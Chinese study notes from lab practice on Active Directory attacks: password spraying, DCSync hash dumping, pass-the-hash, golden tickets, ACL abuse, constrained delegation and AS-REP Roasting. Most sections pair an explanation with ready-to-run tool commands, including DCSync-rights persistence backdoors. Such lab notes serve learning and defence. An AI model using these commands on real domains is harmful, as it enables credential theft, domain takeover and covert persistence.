把之前打靶场涉及的一些域知识学习一下,再弄懂一些,感觉写得有点乱
域安全学习(持续探索中)
密码喷洒
当通过信息搜集或者密码抓取等手段得到了一批可能有用的密码,便可以通过得到的密码来对域内进行密码喷洒
1.使用crackmapexec
1 2 3 4 5
| proxychains4 crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#' 对网段的多个目标实施喷洒 proxychains4 crackmapexec smb 172.22.4.45 -u user.txt -p rockyou.txt crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18 多个用户,一个密码进行喷晒 crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18 使用users.txt 用户列表文件指定多用户喷晒 crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt 爆破administrator用户密码
|
如果仅是喷洒本地登录账户需要加上参数--local-auth
1
| proxychains4 crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
|
2.使用Hydra
1 2
| proxychains4 hydra -L ./user.txt -p ./passwd.txt 10.10.20.1/24 smb proxychains4 hydra -L ./user.txt -p ./passwd.txt 10.10.20.1/24 rdp
|
感觉有时候效果不是很好,使用过rdp协议来进行喷洒,还是没喷洒出那个有效的远程连接账户( 换crackmapexec就可以),或许换smb协议会有效果
喷洒成功后,可以尝试rdp登录,或者直接利用crackmapexec进行smb连接执行命令
Dcsync attack
在域环境中,默认情况下,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求,“模拟”DC向真实DC发送数据同步请求,获取用户凭据数据。
由于这种攻击利用了Windows RPC协议,并不需要登陆域控或者在域控上落地文件,避免触发EDR告警,因此DCSync时一种非常隐蔽的凭据窃取方式
需要注意的是:DCSync 攻击的对象如果是**只读域控制器 (RODC)**,则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的
利用条件:
域内用户所具有的权限其实最根本是看用户的DACL,对于DCSync攻击来说,只要域用户拥有以下三条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这三条DACL分别为:
1 2 3 4 5
| 复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
|
而Administrators、域管理员或企业管理员以及域控制器计算机帐户的成员默认具有上述权限
也就是说想进行DCSync 攻击,需要获得以下任一用户的权限:
- Administrators 组内的用户
- Domain Admins 组内的用户
- Enterprise Admins 组内的用户
- 域控制器的计算机帐户
另外也可以通过修改域内共享文件夹\\<DOMAIN>\SYSVOL\<DOMAIN>\
的ACL,为域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能
默认域控主机账号和域管理员拥有WriteACL的权限,可以给指定用户添加Dcsync
判断是否符合利用条件
在域渗透中该如何判断已经拿下的机子是否符合DCSync 攻击的利用条件呢?
可以采用域环境关系分析工具bloodhound进行查看:
通过bloodhound可以直观的看出DC01.XIAORANG.LAB
这个机子具有DCSync权限
查询具有DCSync权限的用户:
1.通过查询域内用户的ACL,对比查询哪个用户拥有复制目录更改(DS-Replication-Get-Changes)和全部复制目录更改 (DS-Replication-Get-Changes-All)两条ACL
1 2 3
| Import-Module .\Powerview.ps1 Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "DS-Replication-Get-Changes"} Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.ObjectAceType -match "Replicating Directory Changes"}
|
或
1 2 3
| AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter
AdFind.exe -s subtree -b "DC=test,DC=com" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter
|
2.通过查询域管理员用户组
查询域管理员用户
1
| net group "domain admins" /domain
|
查询管理员用户组
1
| net group "Enterprise Admins" /domain
|
3.通过crackmapexec查看具有DCsync权限用户
1
| crackmapexec ldap lab-dc.lab.local -k --kdcHost lab-dc.lab.local -M daclread -o TARGET_DN="DC=lab,DC=LOCAL" ACTION=read RIGHTS=DCSync
|
Dcsync attack利用
1.DCSync攻击域控
mimikatz导出域内的所有用户名以及散列值
1
| lsadump::dcsync /domain:xxx.com /all /csv
|
msf抓取hash
1 2
| load kiwi kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit
|
使用得到的域管理员hash进行哈希传递(PTH)
1 2 3
| proxychains4 python smbexec.py -hashes :10cf89a850fb1cdbe6bb432b859164c8 xiaorang.lab/Administrator@172.22.1.2
|
或者
1
| proxychains4 crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
|
2.利用 DCSync 进行域内权限维持
做法: 利用现有的DCSync权限,为一个普通域用户添加 DCSync 操作权限,形成一个隐蔽的后门,这样当当前用户被删除 DCSync 操作权限后,若该普通域用户没被发现添加了DCSync 操作权限,便可利用该用户继续攻击域控
具体做法就是为普通域用户添加三条 ACE 访问控制项:
1 2 3 4 5
| DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
|
可以通过 Empire 框架中的 PowerView.ps1 脚本实现:
项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
1 2 3 4 5 6 7
| Import-Module .\powerview.ps1
# 为域用户 test 添加以上三条 ACE Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
# 为域用户 whoami 删除以上三条 ACE Remove-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose
|
3.利用 Dcsync 制作黄金票据
票据制作需要:
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
在第一个方式中,通过DCSync得到域管理员hash等信息后,便可以根据哈希生成黄金票据
mimikatz制作黄金票据
1
| kerberos::golden /admin:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:0522.kiribi
|
1 2 3
| kerberos::purge #清空已有票据 kerberos::ptt 0522.kiribi #导入票据 kerberos::list # 查看票据
|
也可以用Rubeus进行相关操作
ACL权限滥用
简单来说:ACL是一组规则,用于定义哪些实体对特定AD对象具有哪些权限。这些对象可以是用户帐户,组,计算机帐户,域本身等,ACL分为SACL(System ACL)和DACL(Discretionanly ACL)
在Windows的访问控制模型有两个基本部分:
- 访问令牌,包含有关已登录用户的信息
- 安全描述符,包含保护安全对象的安全信息
安全描述符与访问对象相关联,主要有四个部分组成OWNER、GROUP、SACL、DACL,其中OWNER和GROUP分别表示对象的拥有者和对象所在的组,用SID的形式表示,SACL和DACL都是由若干条ACE组成,
SACL用于控制系统审核尝试访问对象的方式,DACL用于标识允许或拒绝访问对象的用户和组,而对象的DACL就存储在LDAP数据库的nTSecurityDescriptor属性中,我们可以通过服务管理查看对象的ACL。
AD域中的对象都是存储在LDAP数据库中
详细见官方文档:https://learn.microsoft.com/zh-cn/windows/win32/secauthz/access-control-model
writeDACL–>Dcsync
WriteDacl权限可以修改对象的DACL,也就是说,当拥有WriteDacl权限可以通过修改指定对象的DACL权限,使其满足Dcsync attack的攻击条件(拥有前面所说的三条DACL),然后就可以利用Dcsync attack来获取域控权限
Exchange
writeDACL权限一般出现在Exchange内,在域环境中,安装Exchange后,系统会添加名为Microsoft Exchange Security Groups
、Exchange Trusted Subsystem
和Exchange Windows Permission
三个组。
而这三个用户组的用户默认拥有WriteDACL权限
查看当前所属用户组:
查看拥有权限
利用writeDACL修改DCSync,这里利用impacket
1
| proxychains4 python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :c9b29c7d6607bcb705813eff18df3181 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2
|
需要注意的是:如果当前用户处于登录中,需要先在当前机器注销一下,重新登录,DCSync才能生效
然后抓取域控哈希
1
| proxychains4 python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm
|
Account Operator
Account Operator组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。
默认情况下Account Operator组没有成员
所有如果安装了Exchange服务器的前提下,没能获取到拥有writeDACL权限的用户,而获取到了Account Operator用户组的用户权限
可以将用户添加到Microsoft Exchange Security Groups
、Exchange Trusted Subsystem
和Exchange Windows Permission
任意一个组
创建新用户
1 2 3 4 5 6
| $UserPassword = ConvertTo-SecureString '123qwer!' -AsPlainText -Force New-DomainUser -SamAccountName hey -Description 'This is one' -AccountPassword $UserPassword
Set-DomainUserPassword -Identity hey -AccountPassword $UserPassword
|
或者
1 2
| $pass = ConvertTo-SecureString "123qwer!" -AsPlainText -Force New-ADUser hey -AccountPassword $pass -Enabled $True
|
将用户添加到Exchange Permissions组
1
| net group "Exchange Windows Permissions" hey /add
|
检查是否已成功添加
1
| net group "Exchange Windows Permissions" /domain
|
接下来就是writeDACL–>Dcsync的步骤了
但是有Account Operator组的成员权限,没有安装了Exchange服务,可以利用基于资源的约束性委派进行权限提升:https://cloud.tencent.com/developer/article/1937695
约束委派
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,引入了S4U
在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。
S4U支持两个子协议:Service for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)
S4U2self:允许受约束委派的服务代表任意用户向KDC请求服务自身,从而获得一张该用户(任意用户)的对当前受约束委派服务的票据TGS(ST),该服务票据TGS(ST)包含了用户的相关信息,比如该用户的组信息等。
S4U2proxy:允许受约束委派的服务通过服务票据ST,然后代表用户去请求指定的服务。
请求过程如下图:步骤1-4代表S4U2Self
请求的过程,步骤5-10代表S4U2proxy
的请求过程
1 2 3 4 5 6 7 8 9 10 11
| 1. 用户向service1发出请求。用户已通过身份验证,但service1没有用户的授权数据。通常,这是由于身份验证是通过Kerberos以外的其他方式验证的。 2. 通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。 3. KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。 4. service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。 注:尽管S4U2self向service1提供有关用户的信息,但S4U2self不允许service1代表用户发出其他服务的请求,这时候就轮到S4U2proxy发挥作用了 5. 用户向service1发出请求,service1需要以用户身份访问service2上的资源。 6. service1以用户的名义向KDC请求用户访问service2的ST2 7. 如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。 8. service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。 9. service2响应步骤8的请求。 10. service1响应用户对步骤5中的请求。
|
也就是说,约束委派只能获取每个主机服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT。
如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST
利用条件:
- 开启了对应的约束委派服务
- 获取到约束委派的服务用户的明文密码或者NTLM Hash
判断是否符合利用条件
1.bloodhound
如图AllowedToDelegate
,看出MSSQLSERVER 配置了到域控的约束委派
2.ldapsearch
查找域中配置约束委派用户
1
| ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
|
查找域中配置约束委派的主机:
1
| ldapsearch -x -H ldap://192.168.141.145:389 -D "CN=qiyou,CN=Users,DC=qiyou,DC=com" -w password -b "DC=qiyou,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
|
3.ADFind
查找域中配置约束委派用户
1
| AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
|
查找域中配置约束委派的主机:
1
| AdFind.exe -b "DC=qiyou,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
|
约束委派利用
以刚才bloodhound那张图为例(春秋云境-Brute4Road),现已知MSSQLSERVER 配置了到域控的约束委派
使用机器账户的hash
1.获取配置约束委派用户的明文密码或者NTLM Hash
管理员模式打开mimikatz,执行下列命令,尝试抓取明文密码 或NTLM
也可以使用该工具的其他模块和命令dump hash
1 2
| privilege::debug sekurlsa::logonpasswords
|
2.申请服务票据
使用Rubeus.exe,0e5d39e29de768a96183420b878af977
就是之前获取到的NTLM
1
| .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:0e5d39e29de768a96183420b878af977 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
|
或者使用
1 2 3 4
| kekeo.exe "tgt::ask /user:MSSQLSERVER$ /domain:haishi.com /NTLM:0e5d39e29de768a96183420b878af977" "exit"
kekeo.exe "tgs::s4u /tgt:TGT_WEB$@HAISHI.COM_krbtgt~haishi.com@HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
|
3.注入票据
1
| .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:你上面抓到的服务票据
|
或者
1
| mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
|
使用机器账户票据
1.跟上面操作差不多,不同的就是这里直接使用mimikatz导出票据
1
| mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
|
2.使用kekeo申请服务票据
1
| kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-2-40e10000-WEB$@krbtgt-HAISHI.COM.kirbi /user:Administrator@haishi.com /service:cifs/DC.haishi.com" "exit"
|
3.注入票据
1
| mimikatz.exe "kerberos::ptt TGS_Administrator@haishi.com@HAISHI.COM_cifs~DC.haishi.com@HAISHI.COM.kirbi" "exit"
|
使用hash结合wmiexec远程登录
先使用上面的方法得到NTLM
用getST申请服务票据
1
| python3 getST.py -dc-ip 10.150.127.166 -spn CIFS/DC.haishi.com -impersonate administrator haishi.com/WEB$ -hashes :48b1ee6132349190ee7c47d4b5d91608
|
然后导入票据
1 2
| export KRB5CCNAME=administrator.ccache python3 wmiexec.py -k haishi.com/administrator@DC.haishi.com -no-pass -dc-ip 10.150.127.166
|
可能需要将域名加入到hosts,不然会报错
AS-REP Roasting
AS-REP Roasting是一种针对kerberos协议的攻击,身份预认证是kerberos认证的第一步,通常是由KDC认证服务器来管理,目的是为了防止暴力破解攻击。
它可以不需要认证就可以获取到用户的密码hash值。当获取到经过用户的RC4-HMAC密码加密过的Kerberos AS-REP,可以离线破解这个凭证了。如果爆破成功拿到明文后,便可以利用它进行rdp,密码喷洒等操作
AS-REP Roasting:获取用户hash然后离线暴力破解
Kerberoasting:获取应用服务hash然后暴力破解
黄金票据:通过假冒域中不存在的用户来访问应用服务
利用条件
利用条件:某个用户开启了“不使用Kerberos预认证”,也就是启用Do Not Require Pre-Authentication,即Do not require Kerberos preauthentication
而默认条件下,域用户是默认开启Kerberos预认证的
若指定用户关闭了Kerberos预认证,攻击者可以使用该用户向域控制器的Kerberos 88端口请求票据,此时域控不会进行任何验证就将TGT和该用户Hash加密的Login Session Key 返回。
因此,攻击者就可以对获取到的用户Hash加密的 Login Session Key 进行离线破解,如果字典够强大,则可能破解得到该指定用户的明文密码
寻找未开启预认证的用户
可以使用LDAP查询满足条件(userAccountControl:1.2.840.113556.1.4.803:=4194304)的域用户
官方文档:UserAccountControl 属性标志 - Windows Server | Microsoft Learn
DONT_REQ_PREAUTH项对应的值为4194304
本地主机
枚举出域内存在该漏洞的用户的hash
执行该命令即可得到未开启预认证用户账户的hash值,之后再去尝试离线爆破就行了
1
| Rubeus.exe asreproast /format:hashcat /outfile: hashes.txt
|
将结果以hashcat的格式保存到hashes.txt
1
| hashcat -m 18200 hashes.txt -a 0 ./rockyou.txt --force
|
hashcat爆破明文
这款工具是集成在PowerSploit
和empire
里面的
也可以单独下载https://github.com/PowerShellMafia/PowerSploit/blob/445f7b2510c4553dcd9451bc4daccb20c8e67cbb/Recon/PowerView.ps1
1 2
| Import-Module .\PowerView.ps1 Get-DomainUser -PreauthNotRequired -Verbose
|
找到用户后再使用ASREPRoast.ps1获取用户AS-REP返回的Hash
https://github.com/HarmJ0y/ASREPRoast/
1 2
| Import-Module .\ASREPRoast.ps1 Get-ASREPHash -UserName test -Domain test.com
|
这里以test.com域的test用户为例
远程主机
而远程,除了拿到远程主机的shell传Rubeus或者PowerView等工具上去进行类似本地主机查找开启未预认证的用户等操作的方法外
还可以使用Impacket的GetNPUsers.py脚本
1
| proxychains4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile 2.txt xiaorang.lab/
|
这里的-dc-ip需要指定域控的ip,usersfile则是指定需要查找的用户字典,xiaorang.lab/则是域名
和其他工具不同的是这里需要指定查询的用户名
1
| hashcat -m 18200 1.txt -a 0 ./rockyou.txt --force
|
1
| john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
AS-REP Roasting利用
由于默认条件下预认证是开启的,也就是默认没办法使用AS-REP Roasting攻击,除非人为的关闭预认证
因此多数情况下AS-REP Roasting被用来作于权限维持,当然,当你在某些情况下获取了一批用户名,在密码喷洒无果的时候,获取可以试试AS-REP Roasting,也许能有收获
权限维持
要想利用AS-REP Roasting进行一个权限维持,需要获取对指定用户的GenericWrite权限
然后通过GenericWrite来开启用户的Do not require Kerberos preauthentication选项,获取明文,再关闭选项
利用步骤如下
- 开启用户选项”Do not require Kerberos preauthentication”
1 2
| Import-Module .\PowerView.ps1 Set-DomainObject -Identity test -XOR @{userAccountControl=4194304} -Verbose
|
这里假设对用户test有GenericWrite权限
导出用户test的hash
1 2 3 4
| Import-Module .\ASREPRoast.ps1 Get-ASREPHash -UserName test -Domain test.com 或者不指定域 Get-ASREPHash -UserName test -Verbose
|
导出所有可用用户hash
1 2
| Import-Module .\ASREPRoast.ps1 Invoke-ASREPRoast -Verbose |fl
|
爆破明文
1
| hashcat -m 18200 hashes.txt -a 0 ./rockyou.txt --force
|
- 关闭用户选项”Do not require Kerberos preauthentication”
1
| Set-DomainObject -Identity test -XOR @{userAccountControl=4194304} -Verbose
|
再次异或也就相当于删除用户属性(userAccountControl=4194304)了
横向移动
在某些情况下获取了一批用户名,然后通过AS-REP Roasting成功获取用户密码明文后,可以尝试进行pth、rdp
1
| proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
|
Reference
内网渗透测试:DCSync 攻击技术的利用
https://tttang.com/archive/1634/
https://xz.aliyun.com/t/11555
https://xz.aliyun.com/t/7217
https://xz.aliyun.com/t/7726
AS-REP Roasting攻击
域渗透——AS-REPRoasting (3gstudent.github.io)